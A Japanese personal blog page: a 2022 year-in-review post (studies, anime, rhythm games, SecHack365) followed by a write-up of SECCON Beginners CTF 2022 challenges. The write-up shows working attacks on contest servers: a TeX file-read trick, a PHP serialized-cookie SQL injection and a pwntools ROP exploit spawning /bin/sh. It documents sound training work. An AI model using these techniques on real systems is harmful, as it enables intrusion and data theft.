2022年12月31日土曜日

2022年を振り返って

こんにちは、みれんくです。

今年も去年に引続き振り返りをやっていきますが、邪智暴虐な某青いSNSに過去の記録を剥奪されてしまったため、9月以前のツイート郡はありません。予めご了承ください。(イーロン許して)

1月

 卒論をしていたらしい、もう遠い昔に思える。

この頃はボルテのVFが16.384とか書いてあってひっくり返った、うまくなったなあ(しみじみ)

2月

卒論をシメた(今年ってマジ???)(2回目)。プチ卒業旅行に行くなどもした。良い想い出。

ボルテは16.666(+0.282)くらいでした。ここで18にちらほらクリアが付き始めました。

あとラズパイをイジイジしていました。4GPiをArch Linuxで使うためパッケージ周りを整備したりした。

Archの自前リポジトリ鯖ってどういう風に立てればいいんすかね?それかAURに出しちゃうのが楽なのかな。

3月

大学卒業!やったぞ!

ボルテはアルジェントに到達、VFは17.067(+0.401)でした。 

あとXiaomi Pad 5をいじってたっぽい。やれてねえ〜〜〜

4月

大学院生になりました。また、新任の教授が2人入ってきました。

また、キラッと☆プリチャンの視聴を開始しました。

「やってみなくちゃわからない、わからなかったらやってみよう」

153話かけて説かれたこの言葉にこの一年は支えられました。ありがとう、プリチャン………

そのプリチャンの影響で行ったのは以下の通りです。

  • ノートPCのOSをArch Linuxにした
  • WMをSwayにした
  • メインのエディタをNeovimにした
  • SecHack365に応募した

今ではVimのキーバインドなしでは介護が必要なレベルになった(ホントか?)ので、成長?を感じます。

ボルテはVF17.165(+0.098)でした。

5月

キラッと☆プリチャン、履修完了…

観てない人は早く観たほうがいいよ、153話観切ると自信も付くし、なにより濃厚なおにゃのこの関係がみれるよ(ダイマ)

冗長化しながらプリパラも見始めました。最初はプリチャンに比べて女児アニメかな?と思っていましたが、話を重ねるにつれてドハマり、らぁらママに母性を感じるように成長いたしました。

中旬頃に腰を破壊し、病院にいったりもしました。結局物理的には異常が見当たらず、痛み止め等のみ貰えました。ちょくちょく痛むんですけど、なんなんすかね、これ?

この月にはSecHack365の合格発表が夜中に届き、夜寝られなくなったのをよく覚えています。

ボルテはVF17.191(+0.026)でした。

6月

CTF for Begginersにチームで参加しました!当時のWriteUpはこちら

去年はソロ参加でしたが、チームで出来てよい経験になりました。

SecHack365の第一回イベントデーもありました。

第一回、確かなんかしらの発表をするときに、簡単に作ったGDBの拡張とプリチャンのことを話したんですけど、思ったより聞きに来ていただけました。やはり「やってみなくちゃわからない」なんすよネェ〜〜〜

あと、らしくない「ビジネスモデル」を勉強しました。技術書と違って図がビジュアル寄りで眩しかった。眩しいものは自分の光が消されるので苦しい。(社会性フィルター)

ただ、人に使ってもらうようなプロダクトを作っていくとき、そのプロダクトの噛み砕き・整理整頓には使えそうだなと感じました。

ボルテはVF17.220(+0.029)でした。

7月

 

それはそう

自分が持っているもので、どう貢献して、何を得るのかが大事だと思います。それを他人とすり合わせていい感じのラインを探って実装していくのが社会ワネ。うまく行っている人はそうやってると思う。



 

来年の抱負です。

 

SecHack365のオフライン回がありました。

END

ボルテはVF17.230(+0.010)でした。

8月

アイドルタイム含むプリパラ、履修完了…

この月はあんまし記憶がない…

ボルテはVF17.254(+0.024)でした。

9月

当時のツイート群 

はじめてのドキドキ思い出して

何もかも輝いて無敵にだってなれた

これからもどんな未来が来ても

想い出は胸の中

キラキラきらめいているよ

いつまでもずっと 𝒫𝓇𝒾𝓅𝒶𝓇𝒶 𝒟𝓇ℯ𝒶𝓂…

 

Twitterアカウントが消えました。

経緯としては重いシャドウバン→気づいた一日後に永久凍結です。重いシャドウバンに気づいたときに喚きツイートしていたら凍結したので、あまり触らないようにするはマジかもです。

ブログも日々のこともTwitter頼りだったので、かなり痛い損失でした。情報は分散させましょう。

データ貰っているけど、生JSON(+諸々)なので見返しやすいようにするもの作ったりしたいかも。

ボルテはVF17.291(+0.037)でした。

10月

当時のツイート群 

このあたりから苦しい。 苦しすぎて獄激辛Finalを夜食で食べるなどの愚行をした。

痛みは生存本能を呼び覚ますのでおすすめです。嘘ですやめたほういいです。

技術的なことでは、ちょこちょこ書いていたCコンパイラでハローワールドを達成しました。


約1年、輪読用に資料も作りながらよく続けられたと思います。迷える羊の会のみんな、ℒℴ𝓋ℯ…

アニメは少女歌劇☆レヴュースタァライトを履修…夢に野球…後に記憶喪失… 

ボルテはVF17.390(+0.099)でした。

11月

当時のツイート群

就活の早期選考が始まりました。エントリーシートとかいうのを初めて書いて、キャリアに持っていったらめっちゃボコられました。

SecHack365のオフライン会がありました。この回は前回の反省を活かし、前泊を行いました。ありがとうございます、NICT……

このオフライン会はポスター発表だったのですが、いろんな方に見てもらい、催しも楽しかったです。詳しくは全部終わってから書きたいと思っています。

研究の方でもポスター発表があり、この月はポスターを二枚作成しました、すごいね。

アニメはプリンセス・プリンシパルを履修完了しました…

ボルテはVF17.472(+0.082)でした。 また、後光剛力羅になりました。ここまで1年。

12月

当時のツイート群 

雪が降り始め、気持ちの終了……

というのは半分冗談で、今年で一番苦しかったかもしれないです。YouTubeで精神科医の動画観とった(かのぺろ)

就活は、早期選考の機会をくださった企業様から内々定を頂きました。ありがたいことです。

研究では、自分の研究がわからんになった(n度目)ので、後輩君のを手伝いました。その際、TypeScriptでの開発を体験しました。 

自分は環境整備(nodeのDocker環境、GitHub Actionsでの自動テスト・ビルド)を行いました。nodeでの開発はまっっっったくやったことがなかったですが、様々なモジュールがYarn(npm)で入ってサクサクできるんやな〜とめちゃくちゃ感心しました。

GitHub Actionsもなんでもできるやん!になりました。AWSとかと組み合わせたら自動デプロイできて楽しそうね〜な気持ちも生えました。なるか、キラキラに…

アニメはサイレントでlainを視聴しておりました。相手の自分像は相手のものという考えはしたこともなかったので、たしかになあになりました。

あとプリンセス・プリンシパル Crown Handlerを履修しました。

ボルテはVF17.527(+0.055)でした。

まとめ

一年経って成長はした気がするけど、なんとも言えない感じがしていたのですが、やることがめちゃくちゃとっちらかっているからですね。

来年の抱負

来年は今年の反省を活かし、整理整頓した行動を心がけたいです。

生活面

  • 目的→行動→評価を常に意識して生活する
  • 粒度細かく消化する
  • 8割丁寧な生活をする
  • 自分を受け入れて生きる

技術面

  • アウトプットを定期的に行う(記事も何らかの作品もやりたい)
  • 研究に本気(マジ)になる
  • 余力があれば技術バイトやる

娯楽面 

  • ボルテあるちを夏までに取る
  • VFは18にする
  • アニメを定期的に観る、アイカツは履修したい


2022年6月5日日曜日

SECCON Beginners CTF 2022 WriteUp

ブログに書いておけば見返しやすいよねの気持ちで書いてます。あくまで1解答例でもっとエレガントな解き方はあると思います!!!!!

Web

textex

TeXをpdfにしてくれるWebアプリの問題。

verbatiminputを使って…/…/flagを読み込ませます。ファイル位置は同梱のソースで見つけました。

しかし、入力時にflagが""に置換されてしまうので、適当な関数を作って、TeXでの処理時にflagとなるようにしてあげました。

\documentclass{article}
\usepackage{verbatim}
\def \g{g}
\begin{document}

\verbatiminput{../../fla\g}

\end{document}

gallery

ファイルを拡張子毎に見れるWebアプリの問題。

URLパラメータで拡張子を指定できますが、ここに"lag"等入れるとflagのファイルが見えます。(flagや.だとサニタライズされます)

しかし、ファイルサイズが10240以上の場合、ファイルサイズ分の?が返ってきてしまうので、HTTPのRange Requestを使います。これを利用することで10240未満となって正常なものが取得でき、それを結合することでフラグを得られました。

curl -r 範囲指定(0-499)みたいな感じで行えます。ちなみにレスポンスコードは206です。

curl -r 0-10239 https://gallery.quals.beginners.seccon.jp/images/flag_7a96139e-71a2-4381-bf31-adf37df94c04.pdf >> flag.pdf
curl -r 10240-16085 https://gallery.quals.beginners.seccon.jp/images/flag_7a96139e-71a2-4381-bf31-adf37df94c04.pdf >> flag.pdf

serial

ユーザ登録してToDoを登録・完了させるといったWebアプリの問題。

最初はToDo登録あたりに脆弱性があるかと思いきやそんなことはありませんでした。"Beginners"?

同梱のソースを眺めると、丁寧にもfindUserByName()にインジェクションの可能性があると書いてありました。やさしい。

その関数を利用しているのはsignup.phpとuser.phpです。しかし、signup側ではUNION等の文字が入っていたら弾くため、フォームに入力だとうまくいかないことがわかり、user.phpの方からだとわかりました。

user.phpではlogin()に脆弱性のあるfindUserByName()が使われており、その動作は

Cookie(__CRED)をbase64でデコード→デシリアライズしてUserオブジェクトにする→そのオブジェクトのレコード探して取ってくる(findUserByName())→二つのpassword_hashを比較し、合っていたら新しいCookieに更新

と行われていました。そこで、

SELECT id, name, password_hash FROM users WHERE name = 'aaa' AND '1'='2' UNION SELECT 1234, body, 'a' FROM flags WHERE '1'='1' LIMIT 1;

のようなSQL文を組み立てるために、

O:4:"User":3:{s:2:"id";s:4:"1740";s:4:"name";s:67:"aaa' AND '1'='2' UNION SELECT 12, body, 'a' FROM flags WHERE '1'='1";s:13:"password_hash";s:1:"a";}

のようなものを__CREDに入れGET /を叩き、帰ってきた__CREDをデコードすることでフラグを得られました。

Pwn

 ROP問だけ解けました。CTF自体久しぶりで思い出しながらやりました。Heap問も解けるようになりたいね…

raindrop

ローカルのスタックが見れるプログラムの問題。

初見で「bofすればいいのは分かるけど、libc記載ないしdynamic linkで中にフラグ見る関数もねえじゃん!?"easy"????無理では~?」となりましたが、よくよくコードを読んだらhelp()でsystem関数を使っており、rdiに文字列を入れ、そのアドレスに行けばいいことがわかりました。

自分はbufの先頭の/bin/shを入れ、その後にpop rdi;ret;のアドレス、bufのアドレス、call systemのアドレスと組みました。bufのアドレスはsaved rbp - 0x20なので、一回目のprint_stack()で値を得て、計算し、payloadを組むみたいな手法でやりました。

from pwn import *
from time import sleep

rhp ={'host': "raindrop.quals.beginners.seccon.jp", 'port': "9001"}

def attack(conn):
    cmd = "/bin/sh"
    rop = 0x401453
    sys = 0x4011e5
    conn.recvuntil('000002 | ')

    rbp_addr = int(conn.recv(18).decode('utf-8'), 16)
    print(format(rbp_addr, '#016x'))

    buf_addr = rbp_addr - 0x20

    conn.recvuntil('Did you understand?')
    sleep(1)
    payload = cmd.encode('utf-8') + ((0x10 - len(cmd)) * b'\x00')
    payload += p64(rbp_addr)
    payload += p64(rop)
    payload += p64(buf_addr)
    payload += p64(sys)
    print(payload)
    print(format(len(payload), '#016x'))
    conn.send(payload)
    #conn.recvuntil('finish')
    #print(conn.recvline())

if __name__ == "__main__":
    conn = remote(rhp['host'], rhp['port'])
    attack(conn)
    conn.interactive()

困ったことはROPGadget見つけるのにちょっと手間取りました。前環境を破壊していたのでツールを入れてなかった…(時間がかかった理由1)

さらに、取り組みが夜からだったので、若干頭が回らない中解いていたので、buf_addrの計算ガバをして、一生悩んでました…()

snowdrop

raindropと同様な感じの問題。

違うのはsystem関数を使ったhelp()が消えたところで、bofの脆弱性は健在だったので、同じようなアプローチを取ればいいとわかりました。

その後、fileコマンドでstaticを確認し、ret2syscallゲーだと把握しました。

参考サイト(https://ctftime.org/writeup/26223)のアドレス、ROPGadgetをちょっと変えるだけでフラグが得られました。CTF定期的に解いて、似たような問題はスクリプトちょっと変えるだけで対応できるようになっておきたいね~の気持ちになりました。

あとがき

 

思っていたより高順位で、チームすごい!ってなりました。あと協力して1問解いたり、雑談しながら解けるのも楽しかったです。

あと問題についてですが、やってないのもありますが、easyでもPwn難しくなっていってるなと感じました。置いていかれないようにしたいものです…